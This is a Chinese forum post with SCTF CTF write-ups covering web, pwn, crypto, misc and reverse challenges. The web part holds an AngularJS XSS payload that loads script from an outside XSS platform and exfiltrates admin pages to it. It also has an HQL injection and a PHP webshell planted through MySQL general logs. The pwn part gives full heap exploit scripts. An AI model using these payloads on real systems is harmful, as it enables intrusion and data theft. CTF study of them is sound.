SCTF 部分Writeup

-回复 -浏览
楼主 2019-12-09 06:31:47
举报 只看此人 收藏本贴 楼主


SCTF Writeup 讲解开始啦!


web 新的建议板



看了一下页面内引用了AngularJS 1.4.6,然后找了一下对应版本的XSS漏洞,参考文章XSS without HTML: Client-Side Template Injection with AngularJS

    1.4.0 - 1.4.9
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

提交留言即可触发xss,管理员那边也会触发一遍。

这里留言似乎有点过滤,我用base64编码然后利用JQuery的$.getScript函数引用js文件

    $.getScript('http://xsspt.com/xxxx');
编码之后
eval(atob('JC5nZXRTY3JpcHQoJ2h0dHA6Ly94c3NwdC5jb20veHh4eCcpOw=='));

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(atob(\'JC5nZXRTY3JpcHQoJ2h0dHA6Ly94c3NwdC5jb20veHh4eCcpOw==\'));}}

提交留言然后就打到管理员了

然后发现后台并不在公网上,http://127.0.0.1:1002/admin/

构造payload开始读管理员后台

$.ajax({
url: "/admin",
type: "GET",
dataType: "text",
success: function(result) {
var code = btoa(encodeURIComponent(result));
xssPost('https://xsspt.com/index.php?do=api&id=xxxxxx', code);
},
error: function(msg) {

}
})

function xssPost(url, postStr) {
var de;
de = document.body.appendChild(document.createElement('iframe'));
de.src = 'about:blank';
de.height = 1;
de.width = 1;
de.contentDocument.write('<form method="POST" action="' + url + '"><input name="code" value="' + postStr + '"/></form>');
de.contentDocument.forms[0].submit();
de.style.display = 'none';
}

在js脚本里写入读取后台页面的代码,提交留言,收到 /admin 页面的内容

在base64跟url解码之后,拿到 /admin 页面

我们可以看到有个文件管理页面,继续修改js访问 /admin/file

这里需要输入文件密码才能访问,我们接下来找一下文件密码

在一开始的首页里有个 min-test.js ,这里泄露了admin模板文件view/admintest2313.html,在这个模板中发现一个备忘录的接口

猜测这是在看admintest2313用户的备忘录,然后我们从获取到的后台页面中发现了adminClound 这个用户名

拿到文件密码后,构造post包访问 /admin/file

    $.ajax({
url: "/admin/file",
type: "POST",
data: "filepasswd=HGf%5E%2639NsslUIf%5E23",
dataType: "text",
success: function(result) {
var code = btoa(encodeURIComponent(result));
xssPost('https://xsspt.com/index.php?do=api&id=xxxxxx', code);
},
error: function(msg) {

}
})

然后直接就打到flag了


 

 

web Zhuanxv

 



拿到题目先扫目录(emmm...),扫到 /list,访问需要登录,然后抓到个请求/loadimage?fileName=web_login_bg.jpg,猜测这是个文件读取漏洞,然后再猜猜他是个java程序,构造路径读取 web.xml

发现是Struts2写的站点,读一下配置文件 ../../WEB-INF/classes/struts.xml

    <?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
"http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
<constant name="strutsenableDynamicMethodInvocation" value="false"/>
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
<constant name="struts.action.extension" value=","/>
<package name="front" namespace="/" extends="struts-default">
<global-exception-mappings>
<exception-mapping exception="java.lang.Exception" result="error"/>
</global-exception-mappings>
<action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute">
<result name="error">/ctfpage/login.jsp</result>
<result name="success">/ctfpage/welcome.jsp</result>
</action>
<action name="loadimage" class="com.cuitctf.action.DownloadAction">
<result name="success" type="stream">
<param name="contentType">image/jpeg</param>
<param name="contentDisposition">attachment;filename="bg.jpg"</param>
<param name="inputName">downloadFile</param>
</result>
<result name="suffix_error">/ctfpage/welcome.jsp</result>
</action>
</package>
<package name="back" namespace="/" extends="struts-default">
<interceptors>
<interceptor name="oa" class="com.cuitctf.util.UserOAuth"/>
<interceptor-stack name="userAuth">
<interceptor-ref name="defaultStack" />
<interceptor-ref name="oa" />
</interceptor-stack>

</interceptors>
<action name="list" class="com.cuitctf.action.AdminAction" method="execute">
<interceptor-ref name="userAuth">
<param name="excludeMethods">
execute
</param>
</interceptor-ref>
<result name="login_error">/ctfpage/login.jsp</result>
<result name="list_error">/ctfpage/welcome.jsp</result>
<result name="success">/ctfpage/welcome.jsp</result>
</action>
</package>
</struts>

根据上面的Action路径,构造读取class文件的路径 ../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class,逐一把上面的class文件都下载一遍,然后再读一下 ../../WEB-INF/classes/applicationContext.xml

    <?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
<property name="driverClassName">
<value>com.mysql.jdbc.Driver</value>
</property>
<property name="url">
<value>jdbc:mysql://localhost:3306/sctf</value>
</property>
<property name="username" value="root"/>
<property name="password" value="root" />
</bean>
<bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
<property name="dataSource">
<ref bean="dataSource"/>
</property>
<property name="mappingLocations">
<value>user.hbm.xml</value>
</property>
<property name="hibernateProperties">
<props>
<prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
<prop key="hibernate.show_sql">true</prop>
</props>
</property>
</bean>
<bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate">
<property name="sessionFactory">
<ref bean="sessionFactory"/>
</property>
</bean>
<bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
<property name="sessionFactory">
<ref bean="sessionFactory"/>
</property>
</bean>
<bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true">
<property name="transactionManager">
<ref bean="transactionManager"/>
</property>
<property name="transactionAttributes">
<props>
<prop key="add">PROPAGATION_REQUIRED</prop>
<prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>
</props>
</property>
</bean>
<bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl">
<property name="hibernateTemplate">
<ref bean="hibernateTemplate"/>
</property>
</bean>
<bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl">
<property name="userDao">
<ref bean="userDAO"/>
</property>
</bean>
</beans>
这里是用hibernate框架执行sql,读取一下 `../../WEB-INF/classes/user.hbm.xml`

<?xml version="1.0"?>
<!DOCTYPE hibernate-mapping PUBLIC
"-//Hibernate/Hibernate Mapping DTD 3.0//EN"
"http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd">
<hibernate-mapping package="com.cuitctf.po">
<class name="User" table="hlj_members">
<id name="id" column="user_id">
<generator class="identity"/>
</id>
<property name="name"/>
<property name="password"/>
</class>
<class name="Flag" table="bc3fa8be0db46a3610db3ca0ec794c0b">
<id name="flag" column="welcometoourctf">
<generator class="identity"/>
</id>
<property name="flag"/>
</class>
</hibernate-mapping>

看样子flag在数据库里。接下来继续下载applicationContext.xml文件中引用的dao层跟service层的class文件

这里整理出主要的代码片段

    //UserLoginAction.class

public boolean userCheck(User user) {
List < User > userList = this.userService.loginCheck(user.getName(), user.getPassword());
if ((userList != null) && (userList.size() == 1)) {
return true;
}
addActionError("Username or password is Wrong, please check!");
return false;
}

//UserServiceImpl.class

public List <User> loginCheck(String name, String password) {
name = name.replaceAll(" ", "");
name = name.replaceAll("=", "");
Matcher username_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(name);
Matcher password_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(password);
if (password_matcher.find()) {
return this.userDao.loginCheck(name, password);
}
return null;
}

//UserDaoImpl.class

public List < User > loginCheck(String name, String password) {
return getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");
}

UserServiceImpl.class这里只检测了password的正则,name只替换了空格跟等号,正则没起作用,所以这里可以注入

在登录处user.name注入

user.name=1'or''like''or''like'&user.password=aaaa

这样子直接进入后台,但这不是我们的目标,我们要读取数据库里的flag。可以利用登录判断来进行盲注,获取数据

user.name=1'or(name)like'ho%25'or''like'&user.password=aaaa

然后就跑出用户名为homamamama,这不是重点,我们要读flag。由于这个是hql,很多mysql的特性没法用,只能根据hql的语法构建一个子查询。试了一下 (select name from User)like'%' 可以猜测读取到用户名,但是根据xml的数据表结构读取Flag表(select flag from Flag)like'%' 却不行。

继续构造注入猜测, (select count(*) from Flag)like'1' 这个可以,说明Flag表里有一条数据。很多人都困在这一步了,读不到Flag表。这里要利用的是hql语句的子查询, (from Flag)like'%' 这样子就可以了,然后构造脚本开始跑Flag就可以了

user.name=1'or(from Flag)like'sctf{%25'or''like'&user.password=aaaa

最后获取到的flag要将花括号里的转成大写


 


web easiest web - phpmyadmin


  

 一开始题目很卡根本上不去,并且一直有人搅屎。

到了中午主办方终于开了备份服务器并且提升配置表示很开始。

直接使用弱口令root/root登录上去

尝试使用outfile写入一句话发现不行

于是便想到使用日志的方法来包含我们的一句话

首先开启日志:set global general_log='on';

修改日志路径:set global general_log_file='D:/phpstudy/www/fuhei.php';

这时我们再查询我们的一句话,让他被记录进日志:select '<?php assert($_POST["fuhei"]);?>';

使用菜刀连接上去后在c盘根目录找到flag.txt





pwn bufoverflow_a


  

 

  • fill时存在offbynull,通过Poison null byte造成overlap

unsigned __int64 __fastcall wraaper_read_E81(__int64 a1, unsigned __int64 a2)
{
char buf; // [rsp+13h] [rbp-Dh]
int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
for ( i = 0; i < a2; ++i )
{
if ( read(0, &buf, 1uLL) <= 0 )
{
perror("Read faild!\n");
exit(-1);
}
if ( buf == 10 )
break;
*(a1 + i) = buf;
}
*(i + a1) = 0; // off by null
return __readfsqword(0x28u) ^ v5;
  • unsortbin attack 修改_IO_buf_base scanf 溢出修改malloc-hook 为magic

  • exp

    #!/usr/bin/env python
    # coding=utf-8
    from pwn import *
    context.log_level = 'debug'

    elf = ELF('./bufoverflow_a')
    libc = ELF('./libc.so.6')

    p = process('./bufoverflow_a',env={"LD_PRELOAD":'./libc.so.6'})
    p = remote('116.62.152.176', 20001)
    def alloc(size):#0x7f - 0x1000
    p.sendlineafter(">>",'1')
    p.sendlineafter("Size:",str(size))

    def fill(co):
    p.sendlineafter(">>",'3')
    p.recvuntil("Content:")
    p.send(co)

    def dele(idx):
    p.sendlineafter(">>",'2')
    p.sendlineafter("Index:",str(idx))

    def leak():
    p.sendlineafter(">> ",'4')
    data = p.recvuntil('\x0a')[:-1]
    return data

    def pwn():
    alloc(0x100)#0
    alloc(0x100)#1
    dele(0)
    alloc(0x100)#0
    data = leak()
    libc.address = u64(data.ljust(8,'\x00')) - 0x399b58
    success('[*]libc is ' + hex(libc.address))
    dele(0)
    dele(1)

    alloc(0x420)
    fill('A'*0x100+'B'*0x200+p64(0x200)+'\n')
    dele(0)
    alloc(0x310)#0
    alloc(0x100)#1
    dele(0)
    alloc(0x108)#0
    fill('A'*0x108+'\n')
    alloc(0x108)#2
    alloc(0x88)#3
    dele(2)
    dele(1)
    dele(0)
    payload = 'A'*0x210 + 'B'*8 + p64(0x91)
    alloc(1024)
    fill(payload+'\n')
    dele(3)
    dele(0)
    alloc(1024)
    un = libc.address + 0x0399900
    bk = libc.address + 0x399b58
    fd = libc.address + 0x399c38
    payload = 'A'*0x210 + 'B'*8 + p64(0xf1)+ p64(fd)*2+"C"*0xd8
    payload += p64(0x61)+'A'*0x68 + p64(0xa1)
    fill(payload+'\n')
    alloc(0xe0)
    dele(1)
    alloc(1024)
    dele(0)
    alloc(0xe0)
    dele(0)
    alloc(1024)
    payload = 'A'*0x210 + 'B'*8 + p64(0xf1) + p64(bk) + p64(un-0x10)
    fill(payload+'\n')
    print pidof(p)
    raw_input()
    alloc(0xe0)
    lock = libc.address + 0x39b770
    vtable= libc.address + 0x396440
    magic = libc.address + 0xd6655
    payload = '\x00'*5 + p64(lock)+ p64(0)*9 + p64(vtable).ljust(0x158,"\x00")+ p64(magic)
    p.sendlineafter('>>' ,payload)
    p.interactive()

    pwn()



pwn sbbs



Bctf原题

存在任意地址写 v3接收16个字符可以覆盖到v4

但是8个字符覆盖刚好到v4,于是后面的回车符被换成\x00被送到v1里,于是只能写clientele了。

Free后没有清空堆

这里我们申请刚free的堆块,只向里面写少量数据,就能泄露fd了,于是就能得到地址了

FILE结构会通过_chain连接形成一个链表,链表头部用全局变量_IO_list_all表示。就会调用_IO_OVERFLOW,就会调用vtable,也就是虚表。那么只要满足fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base我们的虚表中的_IO_OVERFLOW就会调用,而且程序是通过_IO_list_all来查找file结构体

//prev_sizesize
fake_file =p64(0)*3
fake_file += p64(233)
fake_file += p64(0)*21
fake_file += p64(0x6020b0-0x18)

v3溢出到v4赋值到任意地址,v3本身的8个bit也是我们可以写的,于是把one_gadget写在了v3中,如果找不到地址也可以布在堆里,都是可以的。0x6020b0v3的地址,而OVERFLOWvtable的位置位于偏移0x18处,于是得到0x6020b0-0x18

EXP

#!/usr/bin/env python
# coding=utf-8
#author rainbow541 by W&P
from pwn import *

#context.log_level = 'debug'
#context.terminal = ['gnome-terminal','-x','bash','-c']

p = process('./baby_arena')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one = 0x4526a

def create(size,note):
p.sendline('1')
p.recvuntil('Pls Input your note size\n')
p.sendline(str(size))
p.recvuntil('Input your note\n')
p.sendline(note)

def dele(num):
p.sendline('2')
p.recvuntil('Input id:\n')

#gdb.attach(p)
create(0xa8,'0'*0xa8)
create(0xa8,'1'*0xa8)
dele(0)
create(0xa8,'0')
p.recvuntil('your note is\n')
a = p.recvline()
arena = u64(a+(8-len(a))*'0')%0x1000000000000
libcc = arena - 0x3c4b30
libc.address = libcc
max_fast = arena + 7368
success("libc:"+hex(libcc))
success("global_max_fast:"+hex(max_fast))
#--------
create(0x400,'3'*0x400)
create(0x400,'4'*0x400)
create(0x400,'4'*0x400)
dele(2)
dele(3)
create(0x100,'A'*16+'\n')
p.recvuntil('your note is\n')
p.recvuntil('A'*16)
heap_base = p.recvuntil('\n')[:-1]
heap_base = u64(heap_base + (8-len(heap_base))*'\x00')-0x220
success('heap_base:'+hex(heap_base))


fake_file =p64(0)*3
fake_file += p64(233)
fake_file += p64(0)*21
fake_file += p64(0x6020b0-0x18)

#------
create(5120,fake_file)
payload = p64(libcc + one) +p64(max_fast-8)
login(payload)#one bit \x0a > \x00 。。。。。。
dele(3)

p.sendline('4')
print pidof(p)
p.interactive()

get flag!


 

 

crypto it may contain 'flag'

 



n=0x1fb18fb44f4449f45ea938306c47b91f64b6c176bd24dbb35aa876f73859c90f0e1677d07430a1188176bc0b901ca7b01f6a99a7df3aec3dd41c3d80f0d17292e43940295b2aa0e8e5823ffcf9f5f448a289f2d3cb27366f907ee62d1aaeba490e892dc69dacbafa941ab7be809e1f882054e26add5892b1fcf4e9f1c443d93bfe=0xe42a12145eaa816e2846200608080305c99468042450925789504307cbc54a20ed7071b68b067b703a1679d861795542f8cbd2d1cb4d3847d0940cac018cdb0fa729571afbe10c1b8be2dd8acd99ee48b77d53c435b9c2fed59e12e02ad8cfc2bcc46ad85534c266dcc1f3a1a03d87118eaf3f5b3eeeb3be84ad023a4bf34939c=0xd19d63015bdcb0b61824237b5c67cb2ef09af0c6cd30e193ff9683357b1e45ab4df607b8c1e0b96cafc49a84d7e655c3ce0f71b1d217eec9ca6cdfa57dd3dc92533b79431aa8a7d6ca67ac9cdd65b178a5a96ab7ce7bf88440f4a9b9d10151b0c942a42fdab9ea2c2f0c3706e9777c91dcc9bbdee4b0fb7f5d3001719c1dd3d3

Wiener's attack,拿着以前写的脚本直接跑,秒出flag:https://github.com/D001UM3/CTF-RSA-tool

  CTF-RSA-tool git:(master)  cat problem.txtn=0x1fb18fb44f4449f45ea938306c47b91f64b6c176bd24dbb35aa876f73859c90f0e1677d074


 



crypto a number problem


  

x**33=1926041757553905692219721422025224638913707 mod 3436415358139016629092568198745009225773259

模数直接可以factordb分解,但是33和模数的欧拉函数不互素,所以我们先用33/3的模反数解密得到x^3的值,然后再爆破一下,得到x

import libnum
import gmpy2

e = 33
c = 1926041757553905692219721422025224638913707
n = 3436415358139016629092568198745009225773259
p = 3881
q = 885445853681787330351086884500131209939
phi_n = (p-1)*(q-1)
d = libnum.invmod(e/3, phi_n)
x_3 = pow(c, d, n)
print x_3

def calc(j):
# print j
a, b = gmpy2.iroot(x_3 + j * n, 3)
if b == 1:
print a
exit()

for i in xrange(0, 100000000):
calc(i)




crypto ElGamal Hacker


  

求离散对数,两种办法:

  • 谷歌discrete logarithm online 找到个在线计算的网站https://www.alpertron.com.ar/DILOG.HTM,直接得到私钥,然后解密

  • 或者直接用sage自带的函数discrete_log也能直接计算出私钥

import libnum

p = 2103157897831904071864395721267
g = 12
y = 446615800949186291810252513371

c1 = 1671718365703730324362467329360
c2 = 1381742645695058198993532913043

# https://www.alpertron.com.ar/DILOG.HTM
# sage:
# discrete_log(446615800949186291810252513371,Mod(12,2103157897831904071864395721267))
k = 204595385545077747431008465026
assert y == pow(g, k, p)

c1 = 1671718365703730324362467329360
c2 = 1381742645695058198993532913043

print libnum.n2s(libnum.invmod(pow(c1, k, p), p) * c2 % p)





MISC 神奇的Modbus



过滤协议modbus,右键跟踪tcp流,往后看,就能看到flag了.s.c.t.f{.E.a.s.y._.M.d.b.u.s.}

然后去掉点,提交不对,然后把Modbus补全,就是flag了


 

 

MISC 侧信道初探 

 



根据资料 ,SPA是根据程序运行的能量进行检测,也就是每一句命令都有对应的波图。

经过分析可知:

这个代表了R=2R

这个是if语句

即我们只要看if条件之后是否有多余语句执行(产生能量)即可判断二进制数据为0或为1

只有一簇的就是0

有两簇的就是1

由此可得flag数据为0110111010


 



MISC 神秘的交易 


  

查找了一波IC卡资料,根据SLE4442手册 https://wenku.baidu.com/view/a6a6fb22482fb4daa58d4bf8.html

可知一共分别进行了三次校验,分别为0x33 0x01 0xaa 0x33 0x02 0xbb 0x33 0x03 0xcc

并且每个字节从最低位开始传输,

即为

1100110010000000xxxxxxxx, 
1100110001000000xxxxxxxx ,
1100110011000000xxxxxxxx

然后就是把Logicdata丢进logic里分析啦

根据前面的字节查找到口令数据段:

最终得到3字节的口令 0x403110



MISC 肥宅快乐题



打游戏就给flag,不过真正的肥宅都懒得打,用Flash反编译找的flag。。。

多亏potplayer强大,能直接拖进度条跳帧。拖到后面找到了flag,但那字体1和l分不清,于是在反编译里查了附近的字段。直接定位,base64 decode,flag complete.  




 


 

Reverse simple 

 


反编译发现动态解密了assets中的zip文件,由于解密的dex会落地因此可以直接运行后从文件目录中pull出来

再反编译这个load.dex,onClick函数中接收了24个字符并以每8个字符一组构造Square,最后调用其中的check函数要求全部为True

构造方法为new Square((v1[i + x] << 8) + v12 + 255, i / 2 + 4);这里的i取值范围为{0, 8, 16},x取值范围为[0, 7]

a1 = 0x315f00ff | input[i*8+x]a2 = i/2+4

还要注意要求每组中的后一个字符大于前一个字符

于是继续查看Square内部的方法构造方法显示每个Square内有5x5=25个Pointa1为input,a2为turncout

Square(int arg2, int arg3) {super();this.point = new Point[25];this.input = arg2;this.turncout = arg3;this.initpoint();if(this.check()) {this.turnpoint();}}

通过initpoint()方法来为25个Point赋值简单来说就是从右往左逐位取值对于a1而言,每个Squre如下所示

|0|1|2|3|4||--|--|--|--|--||1|1|1|1|1||1|1|1|input7|input6||input5|input4|input3|input2|input1||input0|1|1|1|1||1|0|1|0|1|

check方法则很简单Point[i][i]和Point[4-i][i]皆为1即可,即两条对角线上的Point要求为1

turnpoint也并不复杂,循环将每个Point左移一位,最左边的Point顺位移到上一行的最后一位。循环执行的次数为turncout,即参数a2

函数理清以后梳理一下逻辑目标是最终check成功,那么必然构造Squre时的check也必须成功,即要求每个Squre构造好以后check()==True -> turnopint() -> check()==True

解题思路为首先构造符合check()的Squre,然后按照turnpoint反向右移,再符合check()一次,此时的Squre为通解

再为了满足每组中input[i]<input[i+1]的条件,由通解逐步向上增加得到值

由于Point之间没有交互,我们只需要关注与input有关的8个Point即可

构造Squre脚本如下

c = [0 for i in range(25)]
l = [4, 8, 12]
a = []

def v(c):
for i in range(5):
c[i*5+i] = 1
c[i*5+4-i] = 1
for i in range(5):
print(c[i*5:i*5+5])

def getr(c):
return c[8:16][::-1]

v(c)
print()
for x in l:
a.append(c[-x:] + c[:-x])

for k in a:
v(k)
r = getr(k)
print("Input :")
print(r)
print()

得到符合要求的input通解,例如

1, 0, 0, 1, 10, 1, 0, 1, 01, 0, 1, 0, 00, 1, 0, 1, 01, 0, 1, 0, 1Input :0, 0, 0, 1, 0, 1, 0, 1

然后根据0b00010101逐步递增求解input值即可脚本如下:

s = [0b00010101, 0b01010001, 0b00011001]
print("SCTF{", end='')
for x in s:
l = 48
for i in range(8):
while((l&x)<x):
l += 1
print(chr(l), end='')
l += 1
print("}")

PS:这flag是真的丑


 


Reverse Where is my 13th count? 


  

 运行发现只有12个球可得分,根据题目来看应该需要第13分

文件名提示CheatEngine,但运行会闪退反编译Cheat Engine_Data\Managed目录下的Assembly-CSharp.dll,查看逻辑,发现有反调试

不过主逻辑都已经是囊中之物了,还CE个锤子呀,直接改count的初值为12,运行游戏吃一个球即可满足条件出现flag

PS:这flag更丑了


Reverse crackme2


java层调用了native函数,要求返回值为15

在so中动态注册了tryit函数,但函数体为乱码,估计在init中动态解密于是上动态调试,发现解密后的函数通过fork创建了子进程来执行计算,父进程则逐字符校验

直接抓出字符串后偏移位置即可得到flag


 

 

Reverse Script In Script 

 


下载下来文件,观察js发现有动态解密将eval改为console.log后即可在console中抓到解码后的函数也可在click函数中的r处下断,单步跟进后逐个查看函数

function a(r) {
return D(~r, 1)
}

function D(r, n) {
return n ? D(r ^ n, (r & n) << 1) : r
}

function E(r, n) {
return D(r, a(n))
}

function F(r, n) {
var a = 0;
while (n) {
if (n & 1) {
a = D(a, r)
}
r = r << 1;
n = n >> 1
}
return a
}

function G(r, n) {
var a = 0;
while (r >= n) {
r = E(r, n);
a = D(a, 1)
}
return a
}

function H(r) {
return r.length
}

function J(r, n) {
return !(r ^ n)
}

function K(r, n) {
return r[n]
}

function L(r) {
if (r.length == 1) {
return r.charCodeAt(0)
}
}

function M(r) {
return +r
}

function N(r) {
return String(r)
}

function O(r, n) {
return r + n
}

function Q(r, n, a, v) {
for (var t = r; t <= n; t++) {
if (a[t] != v[t - r]) {
return false
}
}
return true
}

function r(r) {
var n = r;
var a = H(n);
var v = J(a, 24);
var t = K(n, 0);
var u = K(n, 1);
var i = K(n, 2);
var e = K(n, 3);
var f = D(L(t), L(i));
var o = E(L(t), L(u));
var c = K(n, 6);
var l = K(n, 7);
var h = K(n, 16);
var w = K(n, 17);
var I = J(E(L(u), L(h)), 0);
var S = J(D(L(c), L(l)), D(L(h), L(w)));
var _ = J(E(L(u), L(c)), 0);
var g = K(n, 21);
var p = K(n, 22);
var s = J(E(F(L(g), 2), G(66, L(p))), 64);
var P = Q(9, 15, n, "Pt_In_S");
var T = J(L(l), L("r"));
var b = J(f, 231);
var d = J(o, 16);
var j = M(K(n, 5));
var k = J(G(M(O(N(L(e)), "0")), j), 204);
var m = M(K(n, 8));
var q = Q(18, 20, n, "IpT");
var x = J(E(j, m), 4);
var y = J(F(m, m), m);
var z = J(D(L(K(n, 4)), D(m, m)), L(K(n, 23)));
var A = J(L(u), 99);
var B = J(L(K(n, 23)), 125);
var C = J(L(K(n, 22)), 33);
return v && I && S && _ && s && P && T && b && d && k && q && x && y && z && A && B && C
}

其中核心函数为D,动态调试输入几个值测试发现该函数为求和后面其他几个函数就很简单了,E是减法、F是乘法、G是除法

机械梳理下来求解即可

from z3 import *
a = [Int("a%d"%i) for i in range(24)]
flag = [0 for i in range(24)]
s = Solver()
s.add(a[0] + a[2] == 231,
a[0] - a[1] == 16,
a[1] - a[16] == 0,
a[6] + a[7] == a[16] + a[17],
a[1] - a[6] == 0,
a[21]*2 - 66/a[22] == 64,
a[7] == ord('r'),
(a[3]*10)/(a[5]-ord('0')) == 204,
#int(a[5])
(a[5]-ord('0')) - (a[8]-ord('0')) == 4,
#int(a[8])
(a[8]-ord('0'))*(a[8]-ord('0'))==(a[8]-ord('0')),
a[4] + (a[8]-ord('0')+a[8]-ord('0')) == a[23],
a[1] == 99,
a[23] == 125,
a[22] == 33
)
c = s.check()
print(c)
if(c==sat):
m = s.model()
for i in range(24):
try:
v = m[a[i]].as_long()
flag[i] = v
except:
continue
for i in range(9, 16):
flag[i] = ord("Pt_In_S"[i-9])
for i in range(18, 21):
flag[i] = ord("IpT"[i-18])
print(flag)
for i in flag:
print(chr(i), end='')


 



Reverse Babymips


JEB反编译,可以看出main中先将输入逐字符与(i+1)异或,然后对0x400b3c进行了一次解码每个字节按位逆序,解码后执行该函数idc还原脚本如下

#include <idc.idc>

static main()
{
auto StartVa, SavedStartVa, StopVa, Size, i, j;
auto v, n_v;
StartVa = 0x400b3c;
StopVa = 0x400d14;

Size = StopVa - StartVa;
SavedStartVa = StartVa;

for (i = 0; i < Size; i++)
{
v = Byte(StartVa);
n_v = 0;
for(j=0;j<8;j++)
{n_v = n_v | (((v>>j)&1)<<(7-j));}
PatchByte(StartVa, n_v);
Message("%x %x\n", v, n_v);
MakeCode(StartVa);
StartVa++;
}

AnalyzeArea(SavedStartVa, StopVa);
Message("Decode Opcode Ok ");
}

sub_400b3c中对输入再次处理,先是对(5, 37)逐字符异或0x30,然后对栈中-0x8处的变量以(i-5)&3-12为下标进行取值异或,-0x8-0xc=-0x14,即之前赋值为"sctf"的一个变量最后memcmp与数组0x412038比较反向处理可得flag



讲解结束啦!

长按二维码

关注我们





我要推荐
转发到